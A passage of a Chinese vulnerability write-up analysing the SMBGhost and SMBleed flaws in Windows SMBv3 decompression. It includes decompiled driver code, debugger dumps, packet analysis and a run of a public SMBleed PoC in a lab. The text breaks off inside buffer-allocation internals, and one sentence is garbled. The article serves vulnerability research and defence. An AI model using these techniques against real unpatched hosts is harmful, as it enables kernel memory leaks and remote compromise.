作者:Strawberry?@ QAX A-TEAM
原文鏈接:https://mp.weixin.qq.com/s/Xlfr8AIB43RuJ9lveqUGOA

2020年3月11日,微軟發布了115個漏洞的補丁程序和一個安全指南(禁用SMBv3壓縮指南 ---- ADV200005),ADV200005中暴露了一個SMBv3的遠程代碼執行漏洞,該漏洞可能未經身份驗證的攻擊者在SMB服務器或客戶端上遠程執行代碼,業內安全專家猜測該漏洞可能會造成蠕蟲級傳播。補丁日之后,微軟又發布了Windows SMBv3 客戶端/服務器遠程代碼執行漏洞的安全更新細節和補丁程序,漏洞編號為CVE-2020-0796,由于一些小插曲,該漏洞又被稱為SMBGhost。

2020年6月10日,微軟公開修復了Microsoft Server Message Block 3.1.1 (SMBv3)協議中的另一個信息泄露漏洞CVE-2020-1206。該漏洞是由ZecOps安全研究人員在SMBGhost同一漏洞函數中發現的,又被稱為SMBleed。未經身份驗證的攻擊者可通過向目標SMB服務器發特制數據包來利用此漏洞,或配置一個惡意的 SMBv3 服務器并誘導用戶連接來利用此漏洞。成功利用此漏洞的遠程攻擊者可獲取敏感信息。

SMBGhost 和 SMBleed 漏洞產生于同一個函數,不同的是,SMBGhost 漏洞源于OriginalCompressedSize 和 Offset 相加產生的整數溢出,SMBleed 漏洞在于 OriginalCompressedSize 或 Offset 欺騙產生的數據泄露。本文對以上漏洞進行分析總結,主要包括以下幾個部分:

  • SMBGhost 漏洞回顧
  • SMBleed 漏洞復現分析
  • 物理地址讀 && SMBGhost 遠程代碼執行
  • SMBGhost && SMBleed 遠程代碼執行
  • Shellcode 調試分析

SMBGhost 漏洞回顧

CVE-2020-0796漏洞源于Srv2DecompressData函數,該函數主要負責將壓縮過的SMB數據包還原(解壓),但在使用SrvNetAllocateBuffer函數分配緩沖區時,傳入了參數OriginalCompressedSegmentSize + Offset,由于未對這兩個值進行額外判斷,存在整數溢出的可能。如果SrvNetAllocateBuffer函數使用較小的值作為第一個參數為SMB數據分配緩沖區,獲取的緩沖區的長度或小于待解壓數據解壓后的數據的長度,這將導致程序在解壓(SmbCompressionDecompress)的過程中產生緩沖區溢出。

NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
    PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
        (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
        NULL);
    If (!Alloc) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    ULONG FinalCompressedSize = 0;

    NTSTATUS Status = SmbCompressionDecompress(
        Header->CompressionAlgorithm,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
        (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
        (PUCHAR)Alloc->UserBuffer + Header->Offset,
        Header->OriginalCompressedSegmentSize,
        &FinalCompressedSize);
    if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
        SrvNetFreeBuffer(Alloc);
        return STATUS_BAD_DATA;
    }


    if (Header->Offset > 0) {
        memcpy(
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
    }


    Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
    return STATUS_SUCCESS;
}

通過SrvNetAllocateBuffer函數獲取的緩沖區結構如下,函數返回的是SRVNET_BUFFER_HDR結構的指針,其偏移0x18處存放了User Buffer指針,User Buffer區域用來存放還原的SMB數據,解壓操作其實就是向User Buffer偏移offset處釋放解壓數據:

原本程序設計的邏輯是,在解壓成功之后調用memcpy函數將raw data(壓縮數據之前的offset大小的沒有被壓縮的數據)復制到User Buffer的起始處,解壓后的數據是從offset偏移處開始存放的。正常的情況如下圖所示,未壓縮的數據后面跟著解壓后的數據,復制的數據沒有超過User Buffer的范圍:

但由于整數溢出,分配的User Buffer空間會小,User Buffer減offset剩下的空間不足以容納解壓后的數據,如下圖所示。根據該結構的特點,可通過構造Offset、Raw Data和Compressed Data,在解壓時覆蓋后面SRVNET BUFFER HDR結構體中的UserBuffer指針,從而在后續memcpy時向UserBuffer(任意地址)寫入可控的數據(任意數據)。任意地址寫是該漏洞利用的關鍵。

3月份跟風分析過此漏洞并學習了通過任意地址寫進行本地提權的利用方式,鏈接如下:https://mp.weixin.qq.com/s/rKJdP_mZkaipQ9m0Qn9_2Q

SMBleed 漏洞

根據ZecOps公開的信息可知,引發該漏洞的函數也是srv2.sys中的Srv2DecompressData函數,與SMBGhost漏洞(CVE-2020-0796)相同。

漏洞分析

再來回顧一下Srv2DecompressData函數吧,該函數用于還原(解壓)SMB數據。首先根據原始壓縮數據中的OriginalCompressedSegmentSize和Offset計算出解壓后結構的大小,然后通過SrvNetAllocateBuffer函數獲取SRVNET BUFFER HDR結構(該結構中指明了可存放無需解壓的Offset長度的數據和解壓數據的緩沖區的User Buffer),然后調用SmbCompressionDecompress函數向User Buffer的Offset偏移處寫入數據。CVE-2020-0796漏洞是由于OriginalCompressedSegmentSize和Offset相加的過程中出現整數溢出,從而導致獲取的緩沖區不足以存放解壓后的數據,最終在解壓過程中產生溢出。

  • (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset) 處產生整數溢出,假設結果為x
  • SrvNetAllocateBuffer函數會根據x的大小去LookAside中尋找大小合適的緩沖區,并返回其后面的SRVNET BUFFER HDR結構,該結構偏移0x18處指向該緩沖區User Buffer
  • SmbCompressionDecompress函數依據指定的壓縮算法將待解壓數據解壓到 User Buffer偏移Offset處,但其實壓縮前的數據長度大于剩余的緩沖區長度,解壓復制的過程中產生緩沖區溢出
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
    PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
        (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
        NULL);
    If (!Alloc) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    ULONG FinalCompressedSize = 0;

    NTSTATUS Status = SmbCompressionDecompress(
        Header->CompressionAlgorithm,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
        (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
        (PUCHAR)Alloc->UserBuffer + Header->Offset,
        Header->OriginalCompressedSegmentSize,
        &FinalCompressedSize);
    if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
        SrvNetFreeBuffer(Alloc);
        return STATUS_BAD_DATA;
    }


    if (Header->Offset > 0) {
        memcpy(
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
    }


    Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
    return STATUS_SUCCESS;
}

在SmbCompressionDecompress函數中有一個神操作,如下所示,如果nt!RtlDecompressBufferEx2返回值非負(解壓成功),則將FinalCompressedSize賦值為OriginalCompressedSegmentSize。因而,只要數據解壓成功,就不會進入SrvNetFreeBuffer等流程,即使解壓操作后會判斷FinalCompressedSize和OriginalCompressedSegmentSize是否相等。這是0796任意地址寫的前提條件。

  if ( (int)RtlGetCompressionWorkSpaceSize(v13, &NumberOfBytes, &v18) < 0
    || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, (unsigned int)NumberOfBytes, 0x2532534Cu)) != 0i64 )
  {
    v14 = &FinalCompressedSize;
    v17 = v8;
    v15 = OriginalCompressedSegmentSize;
    v10 = RtlDecompressBufferEx2(v13, v7, OriginalCompressedSegmentSize, v9, v17, 4096, FinalCompressedSize, v6, v18);
    if ( v10 >= 0 )
      *v14 = v15;
    if ( v6 )
      ExFreePoolWithTag(v6, 0x2532534Cu);
  }

這也是CVE-2020-1206的漏洞成因之一,SmbCompressionDecompress函數會對FinalCompressedSize值進行更新,導致實際解壓出來的數據長度和OriginalCompressedSegmentSize不相等時也不會進入釋放流程。而且在解壓成功之后會將SRVNET BUFFER HDR結構中的UserBufferSizeUsed賦值為Offset與FinalCompressedSize之和,這個操作也是挺重要的。

//Srv2DecompressData

    if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
        SrvNetFreeBuffer(Alloc);
        return STATUS_BAD_DATA;
    }

    if (Header->Offset > 0) {
        memcpy(
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
    }

    Alloc->UserBufferSizeUsed = Header->Offset + FinalCompressedSize;

    Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
    return STATUS_SUCCESS;
}

那如果我們將OriginalCompressedSegmentSize設置為比實際壓縮的數據長度大的數,讓系統認為解壓后的數據長度就是OriginalCompressedSegmentSize大小,是不是也可以泄露內存中的數據(類似于心臟滴血)。如下所示,POC中將OriginalCompressedSegmentSize設置為x + 0x1000,offset設置為0,最終得到解壓后的數據 (長度為x),其后面跟有未初始化的內核數據 ,然后利用解壓后的SMB2 WRITE 消息泄露后面緊跟著的長度為0x1000的未初始化數據。

漏洞復現

在Win10 1903下使用公開的SMBleed.exe進行測試(需要身份認證和可寫權限)。步驟如下: 共享C盤,確保允許Everyone進行更改(或添加其他用戶并賦予其讀取和更改權限) 在C盤下創建share目錄,以便對文件寫入和讀取 * 按照提示運行SMBleed.exe程序,例:SMBleed.exe win10 127.0.0.1 DESKTOP-C2C92C6 strawberry 123123 c share\test.bin local.bin

以下為獲得的local.bin中的部分信息:

抓包分析

在復現的同時可以抓包,可以發現協商之后的大部分包都采用了SMB 壓縮(ProtocalId為0x424D53FC)。根據數據包可判斷POC流程大概是這樣的:SMB協商->用戶認證->創建文件->利用漏洞泄露內存信息并寫入文件->將文件讀取到本地->結束連接。

注意到一個來自服務端的Write Response數據包,其status為STATUS_SUCCESS,說明寫入操作成功。ZecOps在文章中提到過他們利用SMB2 WRITE消息來演示此漏洞,因而我們需要關注一下其對應的請求包,也就是下圖中id為43的那個數據包。

下面為觸發漏洞的SMB壓縮請求包,粉色方框里的OriginalCompressedSegmentSize字段值為0x1070,但實際壓縮前的數據只有0x70,可借助 SMB2 WRITE 將未初始化的內存泄露出來。

以下為解壓前后數據對比,解壓前數據大小為0x3f,解壓后數據大小為0x70(真實解壓大小,后面為未初始化內存),解壓后的數據包括SMB2數據包頭(0x40長度)和偏移0x40處的SMB2 WRITE結構。在這SMB2 WRITE結構中指明了向目標文件寫入后面未初始化的0x1000長度的數據。

3: kd> 
srv2!Srv2DecompressData+0xdc:
fffff800`01e17f3c e86f657705      call    srvnet!SmbCompressionDecompress (fffff800`0758e4b0)
3: kd> dd rdx   //壓縮數據
ffffb283`210dfdf0  02460cc0 424d53fe 00030040 004d0009
ffffb283`210dfe00  18050000 ff000100 010000fe 00190038
ffffb283`210dfe10  0018f800 31150007 00007000 ffffff10
ffffb283`210dfe20  070040df 00183e00 00390179 00060007
ffffb283`210dfe30  00000000 00000000 00000000 00000000
ffffb283`210dfe40  00000000 00000000 00000000 00000000
ffffb283`210dfe50  00000000 00000000 00000000 00000000
ffffb283`210dfe60  00000000 00000000 00000000 00000000

3: kd> db ffffb283`1fe23050 l1070  //解壓后數據
ffffb283`1fe23050  fe 53 4d 42 40 00 00 00-00 00 00 00 09 00 40 00  .SMB@.........@.
ffffb283`1fe23060  00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
ffffb283`1fe23070  ff fe 00 00 01 00 00 00-01 00 00 00 00 f8 00 00  ................
ffffb283`1fe23080  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffb283`1fe23090  31 00 70 00 00 10 00 00-00 00 00 00 00 00 00 00  1.p.............
ffffb283`1fe230a0  00 00 00 00 3e 00 00 00-01 00 00 00 3e 00 00 00  ....>.......>...
ffffb283`1fe230b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffb283`1fe230c0  4d 53 53 50 00 03 00 00-00 18 00 18 00 a8 00 00  MSSP............
ffffb283`1fe230d0  00 1c 01 1c 01 c0 00 00-00 1e 00 1e 00 58 00 00  .............X..
ffffb283`1fe230e0  00 14 00 14 00 76 00 00-00 1e 00 1e 00 8a 00 00  .....v..........
ffffb283`1fe230f0  00 10 00 10 00 dc 01 00-00 15 82 88 e2 0a 00 ba  ................
ffffb283`1fe23100  47 00 00 00 0f 42 75 7d-f2 d2 46 fe 0f 4b 14 e0  G....Bu}..F..K..
ffffb283`1fe23110  c5 8f fc cd 0a 44 00 45-00 53 00 4b 00 54 00 4f  .....D.E.S.K.T.O
ffffb283`1fe23120  00 50 00 2d 00 43 00 32-00 43 00 39 00 32 00 43  .P.-.C.2.C.9.2.C
ffffb283`1fe23130  00 36 00 73 00 74 00 72-00 61 00 77 00 62 00 65  .6.s.t.r.a.w.b.e
ffffb283`1fe23140  00 72 00 72 00 79 00 44-00 45 00 53 00 4b 00 54  .r.r.y.D.E.S.K.T
ffffb283`1fe23150  00 4f 00 50 00 2d 00 43-00 32 00 43 00 39 00 32  .O.P.-.C.2.C.9.2
ffffb283`1fe23160  00 43 00 36 00 00 00 00-00 00 00 00 00 00 00 00  .C.6............
ffffb283`1fe23170  00 00 00 00 00 00 00 00-00 00 00 00 00 21 52 f2  .............!R.
ffffb283`1fe23180  53 be ee d2 a8 01 46 1d-69 9c 78 f5 90 01 01 00  S.....F.i.x.....
ffffb283`1fe23190  00 00 00 00 00 43 c5 71-42 a7 43 d6 01 d9 a8 02  .....C.qB.C.....
ffffb283`1fe231a0  16 83 a3 24 75 00 00 00-00 02 00 1e 00 44 00 45  ...$u........D.E
ffffb283`1fe231b0  00 53 00 4b 00 54 00 4f-00 50 00 2d 00 43 00 32  .S.K.T.O.P.-.C.2
ffffb283`1fe231c0  00 43 00 39 00 32 00 43-00 36 00 01 00 1e 00 44  .C.9.2.C.6.....D
ffffb283`1fe231d0  00 45 00 53 00 4b 00 54-00 4f 00 50 00 2d 00 43  .E.S.K.T.O.P.-.C
ffffb283`1fe231e0  00 32 00 43 00 39 00 32-00 43 00 36 00 04 00 1e  .2.C.9.2.C.6....
ffffb283`1fe231f0  00 44 00 45 00 53 00 4b-00 54 00 4f 00 50 00 2d  .D.E.S.K.T.O.P.-
ffffb283`1fe23200  00 43 00 32 00 43 00 39-00 32 00 43 00 36 00 03  .C.2.C.9.2.C.6..
ffffb283`1fe23210  00 1e 00 44 00 45 00 53-00 4b 00 54 00 4f 00 50  ...D.E.S.K.T.O.P
ffffb283`1fe23220  00 2d 00 43 00 32 00 43-00 39 00 32 00 43 00 36  .-.C.2.C.9.2.C.6
ffffb283`1fe23230  00 07 00 08 00 43 c5 71-42 a7 43 d6 01 06 00 04  .....C.qB.C.....
ffffb283`1fe23240  00 02 00 00 00 08 00 30-00 30 00 00 00 00 00 00  .......0.0......
ffffb283`1fe23250  00 01 00 00 00 00 20 00-00 6f 26 f2 a8 d5 ab cf  ...... ..o&.....
ffffb283`1fe23260  14 7d a9 e2 e9 5a 37 0e-94 56 6d 23 d4 42 bf ba  .}...Z7..Vm#.B..
ffffb283`1fe23270  1c 3d 9b 38 91 d3 b4 0f-cd 0a 00 10 00 00 00 00  .=.8............
ffffb283`1fe23280  00 00 00 00 00 00 00 00-00 00 00 00 00 09 00 00  ................
ffffb283`1fe23290  00 00 00 00 00 00 00 00-00 1e a8 6f 1d 2e 86 e2  ...........o....
ffffb283`1fe232a0  6b b9 6b 8b e6 21 f6 de-7f a3 12 04 10 01 00 00  k.k..!..........
ffffb283`1fe232b0  00 9d 20 ee a2 a7 b3 6e-67 00 00 00 00 00 00 00  .. ....ng.......

SMB2 WRITE部分結構如下(了解這些就夠了吧): StructureSize(2個字節):客戶端必須將此字段設置為49(0x31),表示請求結構的大小,不包括SMB頭部。 DataOffset(2個字節):指明要寫入的數據相對于SMB頭部的偏移量(以字節為單位)。 長度(4個字節):要寫入的數據的長度,以字節為單位。要寫入的數據長度可以為0。 偏移量(8個字節):將數據寫入目標文件的位置的偏移量(以字節為單位)。如果在管道上執行寫操作,則客戶端必須將其設置為0,服務器必須忽略該字段。 * FILEID(16個字節):SMB2_FILEID 文件句柄。 ……

所以根據以上信息可知,DataOffset為0x70,數據長度為0x1000,從文件偏移0的位置開始寫入。查看本次泄露的數據,可以發現正好就是SMB頭偏移0x70處的0x1000長度的數據。

所以,前面的UserBufferSizeUsed起了什么樣的作用呢?在Srv2PlainTextReceiveHandler函數中會將其復制到v3偏移 0x154處。然后在Smb2ExecuteWriteReal函數(Smb2ExecuteWrite函數調用)中會判斷之前復制的那個雙字節值是否小于SMB2 WRITE結構中的DataOffset和長度之和,如果小于的話就會出錯(不能寫入數據)。POC中將這兩個字段分別設置為0x70和0x1000,相加后正好等于0x1070,如果將長度字段設置的稍小一些,那么相應的,泄露的數據長度也會變小。也就是說,OriginalCompressedSegmentSize字段設置了泄露的上限(OriginalCompressedSegmentSize - DataOffset),具體泄露的數據長度還是要看SMB2 WRITE結構中的長度。在這里不得不佩服作者的腦洞,但這種思路需要目標系統共享文件夾以及獲取權限,還是有些局限的。

//Srv2PlainTextReceiveHandler
  v2 = a2;
  v3 = a1;
  v4 = Smb2ValidateMessageIdAndCommand(
         a1,
         *(_QWORD *)(*(_QWORD *)(a1 + 0xF0) + 0x18i64),    //UserBuffer
         *(_DWORD *)(*(_QWORD *)(a1 + 0xF0) + 0x24i64));   //UserBufferSizeUsed
  if ( (v4 & 0x80000000) == 0 )
  {
    v6 = *(_QWORD *)(v3 + 0xF0);
    *(_DWORD *)(v3 + 0x158) = *(_DWORD *)(v6 + 0x24);
    v7 = Srv2CheckMessageSize(*(_DWORD *)(v6 + 0x24), *(_DWORD *)(v6 + 0x24), *(_QWORD *)(v6 + 0x18));    //UserBufferSizeUsed or *(int *)(UserBuffer+0x14)
    v9 = v7;
    if ( v7 == (_DWORD)v8 || (result = Srv2PlainTextCompoundReceiveHandler(v3, v7), (int)result >= 0) )
    {
      *(_DWORD *)(v3 + 0x150) = v9;
      *(_DWORD *)(v3 + 0x154) = v9;    //上層結構,沒有好好分析
      *(_BYTE *)(v3 + 0x198) = 1;

//Smb2ExecuteWriteReal
3: kd> g
Breakpoint 5 hit
srv2!Smb2ExecuteWriteReal+0xc9:
fffff800`01e4f949 0f82e94f0100    jb      srv2!Smb2ExecuteWriteReal+0x150b8 (fffff800`01e64938)
3: kd> ub rip
srv2!Smb2ExecuteWriteReal+0xa5:
fffff800`01e4f925 85c0            test    eax,eax
fffff800`01e4f927 0f88b94f0100    js      srv2!Smb2ExecuteWriteReal+0x15066 (fffff800`01e648e6)
fffff800`01e4f92d 4c39bbb8000000  cmp     qword ptr [rbx+0B8h],r15
fffff800`01e4f934 0f85d34f0100    jne     srv2!Smb2ExecuteWriteReal+0x1508d (fffff800`01e6490d)
fffff800`01e4f93a 0fb74f42        movzx   ecx,word ptr [rdi+42h]
fffff800`01e4f93e 8bc1            mov     eax,ecx
fffff800`01e4f940 034744          add     eax,dword ptr [rdi+44h]
fffff800`01e4f943 398654010000    cmp     dword ptr [rsi+154h],eax

3: kd> dd rdi
ffffb283`1fe25050  424d53fe 00000040 00000000 00400009
ffffb283`1fe25060  00000000 00000000 00000005 00000000
ffffb283`1fe25070  0000feff 00000001 00000001 0000f800
ffffb283`1fe25080  00000000 00000000 00000000 00000000
ffffb283`1fe25090  00700031 00001000 00000000 00000000
ffffb283`1fe250a0  00000000 0000003e 00000001 0000003e
ffffb283`1fe250b0  00000000 00000000 00000000 00000000
ffffb283`1fe250c0  00000000 00000000 00000020 00000000

物理地址讀&&SMBGhost遠程代碼執行

在進行復現前,對一些結構進行分析,如Lookaside、SRVNET BUFFER HDR、MDL等等,以便更好地理解這種利用方式。

Lookaside 初始化

SrvNetAllocateBuffer函數會從SrvNetBufferLookasides表中獲取大小合適的緩沖區,如下所示,SrvNetAllocateBuffer第一個參數為數據的長度,這里為還原的數據的長度(解壓+無需解壓的數據),第二個參數為SRVNET_BUFFER_HDR結構體指針或0。如果傳入的長度在[ 0x1100 , 0x100100 ] 區間,會進入以下流程。

//SrvNetAllocateBuffer(unsigned __int64 a1, __int64 a2)
//a1: OriginalCompressedSegmentSize + Offset
//a2: 0

v3 = 0;
......
  else
  {
    if ( a1 > 0x1100 )                          // 這里這里
    {
      v13 = a1 - 0x100;
      _BitScanReverse64((unsigned __int64 *)&v14, v13);// 從高到低掃描,找到第一個1,v14存放比特位
      _BitScanForward64((unsigned __int64 *)&v15, v13);// 從低到高掃描,找到第一個1,v15存放比特位
      if ( (_DWORD)v14 == (_DWORD)v15 )         // 說明只有一個1
        v3 = v14 - 0xC; 
      else
        v3 = v14 - 0xB;
    }
    v6 = SrvNetBufferLookasides[v3];

上述代碼的邏輯為,分別找到length - 0x100中1的最高比特位和最低比特位,如果相等的話,用最高比特位索引減0xC,否則用最高比特位索引減0xB。最高比特位x可確定長度的大致范圍[1<>i) + 0x100的值,也就是length,第三行為 i - 0xc,表示SrvNetBufferLookasides中相應的索引。

比特位 12 13 14 15 16 17 18 19 20
長度 0x1100 0x2100 0x4100 0x8100 0x10100 0x20100 0x40100 0x80100 0x100100
索引 0 1 2 3 4 5 6 7 8

后面的流程為根據索引從SrvNetBufferLookasides中取出相應結構體X的指針,取其第一項(核心數加1的值),v2為KPCR結構偏移0x1A4處的核心號。然后從結構體X偏移0x20處獲取結構v9,v7(v8)表示當前核心要處理的數據在v9結構體中的索引(核心號加1),然后通過v8索引獲取結構v10,綜上:v10 = (_QWORD )((_QWORD )(SrvNetBufferLookasides[index] + 0x20)+ 8*(Core number + 1)),如果v10偏移0x70處不為0(表示結構已分配),就取出v10偏移8處的結構(SRVNET_BUFFER_HDR)。如果沒分配,就調用PplpLazyInitializeLookasideList函數。

 v2 = __readgsdword(0x1A4u);
 ......
    v6 = SrvNetBufferLookasides[v3];
    v7 = *(_DWORD *)v6 - 1;
    if ( (unsigned int)v2 + 1 < *(_DWORD *)v6 )
      v7 = v2 + 1;
    v8 = v7;
    v9 = *(_QWORD *)(v6 + 0x20);
    v10 = *(_QWORD *)(v9 + 8 * v8);
    if ( !*(_BYTE *)(v10 + 0x70) )
      PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
    ++*(_DWORD *)(v10 + 0x14);
    v11 = (SRVNET_BUFFER_HDR *)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);

舉個例子(單核系統),假設需要的緩沖區長度為0x10101(需要0x20100大小的緩沖區來存放),得到SrvNetBufferLookasides表中的索引為5,最終通過一步一步索引得到緩沖區0xffffcc0f775f0150(熟悉的SRVNET_BUFFER_HDR結構):

kd> 
srvnet!SrvNetAllocateBuffer+0x5d:
fffff806`2280679d 440fb7c5        movzx   r8d,bp

//SrvNetBufferLookasides表  大小0x48 索引0-8
kd> dq rcx   
fffff806`228350f0  ffffcc0f`7623dd00 ffffcc0f`7623d480
fffff806`22835100  ffffcc0f`7623dc40 ffffcc0f`7623d100
fffff806`22835110  ffffcc0f`7623dd80 ffffcc0f`7623d640
fffff806`22835120  ffffcc0f`7623db40 ffffcc0f`7623dbc0
fffff806`22835130  ffffcc0f`7623de00 

//SrvNetBufferLookasides[5]  單核系統核心數1再加1為2(第一項)
kd> dq ffffcc0f`7623d640
ffffcc0f`7623d640  00000000`00000002 6662534c`3030534c
ffffcc0f`7623d650  00000000`00020100 00000000`00000200
ffffcc0f`7623d660  ffffcc0f`762356c0 00000000`00000000
ffffcc0f`7623d670  00000000`00000000 00000000`00000000

//上面的結構偏移0x20
kd> dq ffffcc0f`762356c0
ffffcc0f`762356c0  ffffcc0f`75191ec0 ffffcc0f`75192980

//上面的結構偏移8      v8 = v7 = 2 - 1 = 1
kd> dq ffffcc0f`75192980
ffffcc0f`75192980  00000000`00090001 ffffcc0f`775f0150
ffffcc0f`75192990  00000009`01000004 00000009`00000001
ffffcc0f`751929a0  00000200`00000000 00020100`3030534c
ffffcc0f`751929b0  fffff806`2280d600 fffff806`2280d590
ffffcc0f`751929c0  ffffcc0f`76047cb0 ffffcc0f`75190780
ffffcc0f`751929d0  00000001`00000009 00000000`00000000
ffffcc0f`751929e0  ffffcc0f`75191ec0 00000000`00000000
ffffcc0f`751929f0  00000000`00000001 00000000`00000000

//ExpInterlockedPopEntrySList彈出偏移8處的0xffffcc0f775f0150,還是熟悉的味道(SRVNET_BUFFER_HDR)
kd> dd ffffcc0f`775f0150
ffffcc0f`775f0150  00000000 00000000 72f39558 ffffcc0f
ffffcc0f`775f0160  00050000 00000000 775d0050 ffffcc0f
ffffcc0f`775f0170  00020100 00000000 00020468 00000000
ffffcc0f`775f0180  775d0000 ffffcc0f 775f01e0 ffffcc0f
ffffcc0f`775f0190  00000000 6f726274 00000000 00000000
ffffcc0f`775f01a0  775f0320 ffffcc0f 00000000 00000000
ffffcc0f`775f01b0  00000000 00000001 63736544 74706972
ffffcc0f`775f01c0  006e6f69 00000000 ffffffd8 00610043

SrvNetBufferLookasides是由自定義的SrvNetCreateBufferLookasides函數初始化的。如下所示,這里其實就是以1 << (index + 0xC)) + 0x100為長度(0 <= index < 9),然后調用PplCreateLookasideList設置上面介紹的那些結構。在PplCreateLookasideList函數中設置上面第二三個結構,在PplpCreateOneLookasideList函數中設置上面第四個結構,最終在SrvNetAllocateBufferFromPool函數(SrvNetBufferLookasideAllocate函數調用)中設置SRVNET_BUFFER_HDR結構。

//SrvNetCreateBufferLookasides
  while ( 1 )
  {
    v4 = PplCreateLookasideList(
           (__int64 (__fastcall *)())SrvNetBufferLookasideAllocate,
           (__int64 (__fastcall *)(PSLIST_ENTRY))SrvNetBufferLookasideFree,
           v1,                                  // 0
           v2,                                  // 0
           (1 << (v3 + 0xC)) + 0x100,
           0x3030534C,
           v6,
           0x6662534Cu);
    *v0 = v4;
    if ( !v4 )
      break;
    ++v3;
    ++v0;
    if ( v3 >= 9 )
      return 0i64;
  }

以下為對SRVNET_BUFFER_HDR結構的初始化過程,v7為 length(滿足 (1 << (index + 0xC)) + 0x100 條件)+ 0xE8(SRVNET_BUFFER_HDR結構長度+8+0x50)+ 2 * (MDL + 8),其中MDL結構大小和length+0xE8相關,后面會介紹。然后通過ExAllocatePoolWithTag函數分配v7大小的內存,根據偏移獲取UserBufferPtr(偏移0x50)、SRVNET_BUFFER_HDR(偏移0x50加length,8字節對齊)等地址,具體如下,不一一介紹。

//SrvNetAllocateBufferFromPool
  v8 = (BYTE *)ExAllocatePoolWithTag((POOL_TYPE)0x200, v7, 0x3030534Cu);
  ......
  v11 = (__int64)(v8 + 0x50);
  v12 = (SRVNET_BUFFER_HDR *)((unsigned __int64)&v8[v2 + 0x57] & 0xFFFFFFFFFFFFFFF8ui64);    //v2是length
  v12->PoolAllocationPtr = v8;
  v12->pMdl2 = (PMDL)((unsigned __int64)&v12->unknown3[v5 + 0xF] & 0xFFFFFFFFFFFFFFF8ui64);
  v13 = (_MDL *)((unsigned __int64)&v12->unknown3[0xF] & 0xFFFFFFFFFFFFFFF8ui64);
  v12->UserBufferPtr = v8 + 0x50;
  v12->pMdl1 = v13;
  v12->BufferFlags = 0;
  v12->TracingDataCount = 0;
  v12->UserBufferSizeAllocated = v2;
  v12->UserBufferSizeUsed = 0;
  v14 = ((_WORD)v8 + 0x50) & 0xFFF;
  v12->PoolAllocationSize = v7;
  v12->BytesProcessed = 0;
  v12->BytesReceived = 0i64;
  v12->pSrvNetWskStruct = 0i64;
  v12->SmbFlags = 0;

//SRVNET_BUFFER_HDR 例:
kd> dq rdi
ffffcc0f`76fed150  00000000`00000000 00000000`00000000
ffffcc0f`76fed160  00000000`00000000 ffffcc0f`76fe9050
ffffcc0f`76fed170  00000000`00004100 00000000`000042a8
ffffcc0f`76fed180  ffffcc0f`76fe9000 ffffcc0f`76fed1e0
ffffcc0f`76fed190  00000000`00000000 00000000`00000000
ffffcc0f`76fed1a0  ffffcc0f`76fed240 00000000`00000000
ffffcc0f`76fed1b0  00000000`00000000 00000000`00000000
ffffcc0f`76fed1c0  00000000`00000000 00000000`00000000

通過MmSizeOfMdl函數獲取MDL結構長度,以下為獲取0x41e8長度空間所需的MDL結構長度 ( 0x58 ),其中,0x30為基礎長度,0x28存放5個物理頁的pfn(0x41e8長度的數據需要存放在5個頁)。

kd> 
srvnet!SrvNetAllocateBufferFromPool+0x62:
fffff806`2280d2d2 e809120101      call    nt!MmSizeOfMdl (fffff806`2381e4e0)
kd> r rcx
rcx=0000000000000000
kd> r rdx     //0x4100 + 0xe8
rdx=00000000000041e8
kd> p
srvnet!SrvNetAllocateBufferFromPool+0x67:
fffff806`2280d2d7 488d6808        lea     rbp,[rax+8]
kd> r rax    //0x30+0x28
rax=0000000000000058
kd> dt _mdl
nt!_MDL
   +0x000 Next             : Ptr64 _MDL
   +0x008 Size             : Int2B
   +0x00a MdlFlags         : Int2B
   +0x00c AllocationProcessorNumber : Uint2B
   +0x00e Reserved         : Uint2B
   +0x010 Process          : Ptr64 _EPROCESS
   +0x018 MappedSystemVa   : Ptr64 Void
   +0x020 StartVa          : Ptr64 Void
   +0x028 ByteCount        : Uint4B
   +0x02c ByteOffset       : Uint4B

MmBuildMdlForNonPagedPool函數調用后,MdlFlags被設置為4,且對應的物理頁pfn被寫入MDL結構,然后通過MmMdlPageContentsState函數以及或操作將MdlFlags設置為0x5004(20484)。

kd> 
srvnet!SrvNetAllocateBufferFromPool+0x1b0:
fffff806`2280d420 e8eb220301      call    nt!MmBuildMdlForNonPagedPool (fffff806`2383f710)

kd> dt _mdl @rcx
nt!_MDL
   +0x000 Next             : (null) 
   +0x008 Size             : 0n88
   +0x00a MdlFlags         : 0n0
   +0x00c AllocationProcessorNumber : 0
   +0x00e Reserved         : 0
   +0x010 Process          : (null) 
   +0x018 MappedSystemVa   : (null) 
